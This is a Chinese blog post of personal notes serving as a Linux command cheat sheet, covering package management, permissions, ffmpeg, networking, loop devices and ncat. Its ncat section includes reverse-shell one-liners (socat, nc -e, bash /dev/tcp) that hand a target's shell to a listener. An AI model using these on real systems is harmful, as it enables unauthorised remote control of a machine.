几个常用 Linux 命令整理,之前笔记的一部分。
adb
# 查看应用列表 adb shell pm list packages # 停用应用 adb shell pm disable-user com.android.browser # 启用应用 adb shell pm enable com.android.browser # 安装应用 adb install xxx.apk # 复制文件到手机 adb push 1.apk /sdcard/1.apk # 静默安装应用 adb shell pm insatll -f 1.apk # 删除文件 adb shell rm /sdcard/1.apk
apt
# 查询软件包 apt search axel # 软件包详情 apt policy axel # 锁定软件包 sudo apt-mark hold curl # 解锁软件包 sudo apt-mark unhold curl # 查看锁定的包 sudo apt-mark showhold # 列出安装的 i386 软件包 sudo dpkg -l | grep i386 # 移除 i386 软件包 sudo apt-get purge `dpkg --get-selections | grep ":i386" | awk '{print $1}'` # 或 sudo apt-get purge ".*:i386" # 列出额外的架构 sudo dpkg --print-foreign-architectures # 移除 i386 架构 sudo dpkg --remove-architecture i386 # 常用软件包 sudo apt install -y \ landscape-common \ # ssh 登录显示系统信息 pwgen \ # 密码生成 menulibre \ # 启动图标编辑 git \ krita \ # 绘图 audacity \ # 音频编辑 kolourpaint \ # 简易画图 flameshot \ # 截图 language-pack-zh-hans \ # 简体中文语言包 language-pack-gnome-zh-hans \ ffmpeg \ gimp \ # 类似 PS 的修图软件 socat \ netcat \ fping \ # 批量 ping iotop \ iftop \ htop \ # 更易使用的 top pingtop \ figlet \ # 生成字符图形 toilet \ # ASCII 字符图形生成 remmina \ # Windows 远程桌面(RDP) typora \ # 所见即所得 markdown 编辑器 gufw \ # 图形化防火墙配置 python3-pip \ python3-serial \ font-manager \ etcher \ # 烧写工具 curl \ network-manager-gnome \ sshfs \ # 通过 ssh 挂载文件系统 shadowsocks-qt5 \ axel \ # 多线程下载 filezilla \ # ftp 图形客户端 nmap \ ncat \ gawk \ # awk 文本格式化工具 lrzsz \ # ZModem文件传输 unar \ # 解压软件,中文无乱码 neofetch \ # 显示系统信息 asciinema \ mtr-tiny \ pulseaudio \ pavucontrol \ teamviewer \ telegram-desktop \ printer-driver-cups-pdf \ # 本地 pdf 输出(虚拟打印机) blueman \ # 蓝牙管理 manpages-zh \ # 中文说明 trash-cli # alias rm="trash-put" 丢入回收站
bwrap
# 沙箱 bwrap --dev-bind / / --bind /opt/wechat-uos/uos-release /etc/os-release wechat
chmod
r: 4 w: 2 x: 1
u: owner g: group o: others a: all
目录的 w 代表的是用户能创建、修改、删除目录下的文件。
目录的 x 代表的是用户能否进入该目录成为工作目录的用途,即不可 cd 到此目录,另即使有 r 权限也不可读。
4000: SUID 标志,作用于文件的所有者。执行该文件时具有文件所有者的权限。此标志只能为文件设置,且主要用于可执行的二进制文件,对于其它文件无意义。
2000: SGID 标志,作用于文件或路径的所有组。文件具有此权限时,执行该文件时具有文件所有组的权限;路径具有此权限时,其他用户在此路径下的操作所属组为该所属组。
1000: Sticky Bit 标志,作用于路径的其它用户。此标志只能为路径设置,设置此标志后,只有 root 和所有者才能删除路径下的文件。
# 为所有者增加 rx 权限 chmod u+rx file # 为所属组增加 rx 权限并消除其他用户所有权限 chmod g=rx,o= file # 取消其他用户的 rx 权限 chmod o-rx file # 给所有用户添加 x 权限 chmod a+x file # 为所有者设置 SUID 标志 # 若所有者没有 x 权限则显示为 S # 若所有者具有 x 权限则显示为 s chmod u+s file # 为用户组设置 SGID 标志 # 若所属组没有 x 权限则显示为 S # 若所属组具有 x 权限则显示为 s chmod g+s dir # 为其他用户设置 Sticky 标志 # 若其他用户没有 x 权限则显示为 T # 若其他用户具有 x 权限则显示为 t # 此标志只能为路径设置 chmod o+t file
chown
# 所有者:组 # -R 遍历目录 chown 1000:1000 -R ./dir/ # 改变文件所有者 chown ubuntu README.md # 改变文件群组 chgrp ubuntu README.md
date
# 当前 unix 时间戳 date +%s # 转换指定日期为时间戳 date -d '2019-06-10 09:21:00' +%s # 转换 unix 时间戳为日期 date -d @1560129660 # 转换 unix 时间戳为指定日期格式 date -d @1560129660 +"%Y-%m-%d %H:%M:%S"
fdisk
# 查看磁盘分区 sudo fdisk -l # 或 lsblk # 查看分区 uuid sudo blkid /dev/sda1 ls -l /dev/disk/by-uuid/ # 磁盘分区使用情况 df -h # 遍历输出当前路径下的每个文件大小 du -h
ffmpeg
# 合并 m3u8 为 mp4 ffmpeg -headers 'Cookie: xxx' -user_agent 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36' -i 'http://xxxx.m3u8' -c:v copy -c:a copy -bsf:a aac_adtstoasc download.mp4 # 无损合并 ts 文件 # 直接给定 ffmpeg -i "concat:input1.ts|input2.ts|input3.ts" -c copy output.ts # 通过文件列表 # https://trac.ffmpeg.org/wiki/Concatenate # 文件列表格式 file '/path/to/file1.ts' file '/path/to/file2.ts' file '/path/to/file3.ts' # 相对路径时不必使用 -safe 0 ffmpeg -f concat -safe 0 -i mylist.txt -c copy output.ts # 去除水印 # http://ffmpeg.org/ffmpeg-all.html#delogo # x,y 为 logo 的位置,w,h 为 logo 的宽高,可通过 gimp 选取 logo 获取坐标,show 为标记水印边缘方便辨识 # 效果预览 ffplay -i source.mp4 -vf "delogo=x=100:y=100:w=100:h=100:show=1" # 去除 logo ffmpeg -i logo.mp4 -vf "delogo=x=100:y=100:w=100:h=100" delogo.mp4 # 片段截取 # -vcodec copy 使用与原视频一样的视频编解码器,同 -c:v copy # -acodec copy 使用与原视频一样的音频编解码器,同 -c:a copy # -y 覆盖同名文件 # -t 持续时间 # 指定时间段 ffmpeg -i demo.mp4 -vcodec copy -acodec copy -ss 00:00:00 -to 00:00:05 cut.mp4 -y # 指定持续时间 ffmpeg -i demo.mp4 -vcodec copy -acodec copy -ss 00:00:00 -t 10 cut.mp4 # UDP 推流 # -re 以原始帧速率读取输入 # -f 强制输入或输出文件格式 ffmpeg -re -i demo.mp4 -vcodec copy -acodec copy -f h264 udp://127.0.0.1:1234 # 播放 UDP 推流 ffplay -f h264 udp://127.0.0.1:1234 # RTP 推流 # -an 没有音频 # -vn 没有视频 ffmpeg -re -i demo.mp4 -vcodec copy -an -f rtp rtp://127.0.0.1:2000 # RTMP 推流 ffmpeg -re -i demo.mp4 -vcodec libx264 -acodec aac -strict -2 -f flv rtmp://localhost:1935/live/stream
fping
# 扫描 ip 段内的主机 fping -aqg 192.168.1.0/24
grub
# 生成 grub 使用的点阵字体 # -s 24 为指定字体大小 # http://ftp.gnu.org/gnu/unifont/ sudo grub-mkfont -s 24 -o /boot/grub/fonts/unifont-24.pf2 /home/choi/Downloads/unifont-13.0.06.ttf sudo grub-mkfont -s 24 -o /boot/grub/fonts/DejaVuSansMono-24.pf2 /usr/share/fonts/truetype/dejavu/DejaVuSansMono.ttf # 安装主题 # https://github.com/vinceliuice/grub2-themes sudo ./install.sh -b -t tela -s 4k sudo nano /etc/default/grub # 记忆上次选择启动项 GRUB_DEFAULT=saved GRUB_SAVEDEFAULT=true # 指定字体 GRUB_FONT="/boot/grub/fonts/unifont-24.pf2" # 指定主题 GRUB_THEME="/boot/grub/themes/Tela/theme.txt" sudo grub-mkconfig -o /boot/grub/grub.cfg
ip
# 显示网络接口信息 ip link show ip l # 开启网卡 ip link set eth0 up # 关闭网卡 ip link set eth0 down # 开启网卡混合模式 ip link set eth0 promisc on # 关闭网卡混合模式 ip link set eth0 promisc off # 修改网卡 MAC 地址 ip link set eth0 address 00:01:4f:00:15:f1 # 显示网卡 IP 信息 ip addr show ip a # 设置指定网卡 IP 地址 ip addr add 192.168.0.1/24 dev eth0 # 删除指定网卡 IP 地址 ip addr del 192.168.0.1/24 dev eth0 # 显示路由条目 ip route show ip r # 查询路由包 ip route get 10.0.0.10 # 设置默认路由 ip route add default via 192.168.1.254 # 删除默认路由 ip route del default # 设置 192.168.4.0 网段的网关 ip route add 192.168.4.0/24 via 192.168.0.254 dev eth0 # 删除 192.168.4.0 网段的网关 ip route del 192.168.4.0/24 # 显示 ARP 条目 ip neigh ip n # 显示网络统计数据 ip -s link ip -s -s link ls eth0 # 监控 netlink 消息 ip monitor all
ls
案例
$ mkdir -p /tmp/test/ $ touch /tmp/test/{111,222,333} $ alias ll="ls -alFh --time-style '+%Y-%m-%d %H:%M:%S'" $ ll /tmp/test total 8.0K drwxrwxr-x 2 choi choi 4.0K 2020-05-29 02:37:14 . drwxrwxr-x 3 choi choi 4.0K 2020-05-29 02:37:13 .. -rw-rw-r-- 1 choi choi 0 2020-05-29 02:37:14 111 -rw-rw-r-- 1 choi choi 0 2020-05-29 02:37:14 222 -rw-rw-r-- 1 choi choi 0 2020-05-29 02:37:14 333
说明
# [d][rwx][rwx][rwx] [2] [choi] [choi] [4.0K] [2020-05-29 02:37:14] [.] # [文件类型][拥有者权限][用户组权限][其他用户权限] [inode连接数] [拥有者] [所属群组] [文件大小] [修改日期] [文件名] # 文件类型 # - 常规文件 # d 目录文件 # l 符号连接文件 # b 区块设备文件,如硬盘 # c 字节设备文件,如串口 # s 套接字文件 # p FIFO 管道文件 ls -alFh --time-style '+%Y-%m-%d %H:%M:%S' # -a 显示隐藏文件 # -l 以列表形式输出 # -F 标记特殊文件:可执行文件后加 *、目录文件后加 /、符号连接文件后加 @、套接字文件后加 =、FIFO 管道文件后加 | # -h 更易读懂的方式输出 # --time-style 指定日期格式 # 更多关于 ls 的信息 info ls
lsof
# 查看端口占用进程 lsof -i:8080
losetup
# -f 查找第一个未使用的设备 # -P 创建带分区的回环设备 sudo losetup -f --show -P system.img # 列出所有使用的回环设备 losetup -a # 挂载分区 3 sudo mount /dev/loop0p3 /mnt/ # 另一种方法 fdisk -l system.img sudo mount -o loop,offset=$((512 * 分区 3 的起点)) system.img /mnt/ # 卸载 sudo umount /mnt/ # 断开回环设备 sudo losetup -d /dev/loop0 # 断开所有回环设备 sudo losetup -D
man
man 1 ls # 1 可执行程序或 shell 命令 # 2 系统调用(内核提供的函数) # 3 库调用(程序库中的函数) # 4 特殊文件(通常位于 /dev) # 5 文件格式和规范,如 /etc/passwd # 6 游戏 # 7 杂项(包括宏包和规范,如 **man**(7),**groff**(7)) # 8 系统管理命令(通常只针对 root 用户) # 9 内核例程(非标准)
mount
# 挂载 sudo mount /dev/sda1 /mnt/disk # 卸载 sudo umount /dev/sda1
nano
快捷键 | 说明 |
---|---|
Ctrl +6 | 自由选择标记 |
Alt + 6 | 复制选择文字,默认复制当前行 |
Ctrl + K | 剪切选择文字,默认剪切当前行 |
Ctrl + U | 粘贴 |
Alt + U | 撤销 |
Ctrl + W | 搜索 |
Ctrl + Y | 上一页 |
Ctrl + V | 下一页 |
Ctrl + S | 保存 |
Ctrl + O | 另存为 |
Ctrl + X | 退出 |
Ctrl + G | 帮助 |
ncat
反弹 shell
# 主机 10.0.0.10 # 靶机 10.0.0.200 # 主机 socat TCP-LISTEN:22333 - # 靶机 socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.10:22333 # 主机 nc -lvp 22333 # 靶机 nc 10.0.0.10 22333 -t -e /bin/bash # 主机 nc -lvp 22333 # 靶机 bash -i >& /dev/tcp/10.0.0.10/22333 0>&1
消息转发
# 接收消息 # -k 强制保持端口开放 ncat -l -k 8080 # 发送消息 # -w 设置超时时间 ncat -w 10 10.0.0.200 8080
文件转发
# 接收文件 ncat -l 8080 > file.txt # 发送文件 ncat 10.0.0.200 8080 --send-only < data.txt # 接收文件夹 ncat -l 8080 | tar xzv- # 发送文件夹 tar czv- . | ncat 10.0.0.200 8080 --send-only
代理转发
# 将 8080 流量单向转发到指定主机端口 ncat -l 8080 | ncat 10.0.0.200 80 # 双向转发 mkfifo proxy && ncat -l 8080 0<proxy | ncat 10.0.0.200 80 1>proxy
UDP
# 监听 UDP 端口 ncat -l -u 6666 # 测试 UDP 端口联通性 ncat -v -u 10.0.0.200 6666
nmap
# 猜测设备信息 sudo nmap -O --osscan-guess 192.168.0.1 # -A 开启所有探测和扫描 nmap -A 192.168.0.100-110
parted
# SSD 对齐检查 sudo parted # 其中的 n 是要查的分区数字 align-check opt n
ping
# 回显请求经过的路由,最多 9 条 ping -R lanseyujie.com
ss
# 列出所有监听套接字 ss -l # 列出所有 tcp 连接 ss -t # 列出所有 udp 连接 ss -ua # 列出所有 uinx 套接字 ss -x # 显示与套接字相关的进程 ss -p # 显示统计摘要 ss -s
su
# 非登录式切换,环境变量不切换 su choi # -, -l, --login 使 shell 成为登录 shell su - choi # 使用指定用户执行某个命令,注意环境变量还是原用户的 su - choi -c "id" # -m, -p, --preserve-environment 不重置环境变量
usermod
# 创建用户 adduser ubuntu # 无操作引导创建用户 useradd ubuntu # 创建用户组 groupadd ubuntu # 用户操作 usermod # 查看用户所属组 id ubuntu groups ubuntu # 删除用户并清除相关文档 userdel -r ubuntu
本文标题:Linux 常用命令
版权声明:本文使用「署名 4.0 国际」创作共享协议,转载或使用请遵守署名协议。